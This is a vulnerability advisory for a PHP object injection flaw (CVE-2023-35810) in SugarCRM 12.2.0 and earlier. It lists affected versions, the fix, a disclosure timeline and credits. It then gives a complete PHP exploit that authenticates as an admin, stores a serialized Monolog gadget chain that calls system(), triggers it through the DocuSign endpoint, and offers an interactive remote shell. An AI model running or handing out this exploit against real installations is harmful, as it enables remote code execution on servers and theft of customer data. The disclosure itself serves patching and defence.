-------------------------------------------------------------------------------
SugarCRM <= 12.2.0 (Docusign_GlobalSettings) PHP Object Injection 
Vulnerability
-------------------------------------------------------------------------------


[-] Software Link:

https://www.sugarcrm.com


[-] Affected Versions:

Version 12.2.0 and prior versions.
Version 12.0.2 and prior versions.
Version 11.0.5 and prior versions.


[-] Vulnerability Description:

There is a Second-Order PHP Object Injection vulnerability which might 
allow malicious
admin users to execute arbitrary PHP code on the web server (RCE) by 
storing malicious
serialized objects into the database.

The vulnerability can be triggered by invoking the 
"/DocuSign/getGlobalConfig" REST API
endpoint, which is using the unserialize() PHP function with the 
"Docusign_GlobalSettings"
parameter. This can be exploited to inject arbitrary PHP objects into 
the application
scope, allowing an attacker to perform a variety of attacks.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2023-35810.php

[Packet Storm Note: see below]

[-] Solution:

Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.


[-] Disclosure Timeline:

[14/02/2023] - Vendor notified
[12/04/2023] - Fixed versions released
[17/06/2023] - CVE number assigned
[23/08/2023] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-35810 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-07


[-] Other References:

https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-009/



---- poc ----

<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");

include("chain.php");

function inject_pop_chain($cmd)
{
	global $ch, $url;

	$pop = new \Monolog\Handler\BufferHandler(["current", "system"], [$cmd, "level" => null]);
	$pop = new \Monolog\Handler\SyslogUdpHandler($pop);
	$pop = base64_encode(serialize($pop));

	curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");
	curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":"'.$pop.'"}');

	curl_exec($ch);
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

$ch = curl_init();

$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/oauth2/token");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");

curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);

print "[+] Launching shell\n";

while(1)
{
	print "\nsugar-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	inject_pop_chain($cmd);
	curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/DocuSign/getGlobalConfig");
 	curl_setopt($ch, CURLOPT_POST, false);
	preg_match("/(.+)/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}

// cleaning
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":""}');

curl_exec($ch);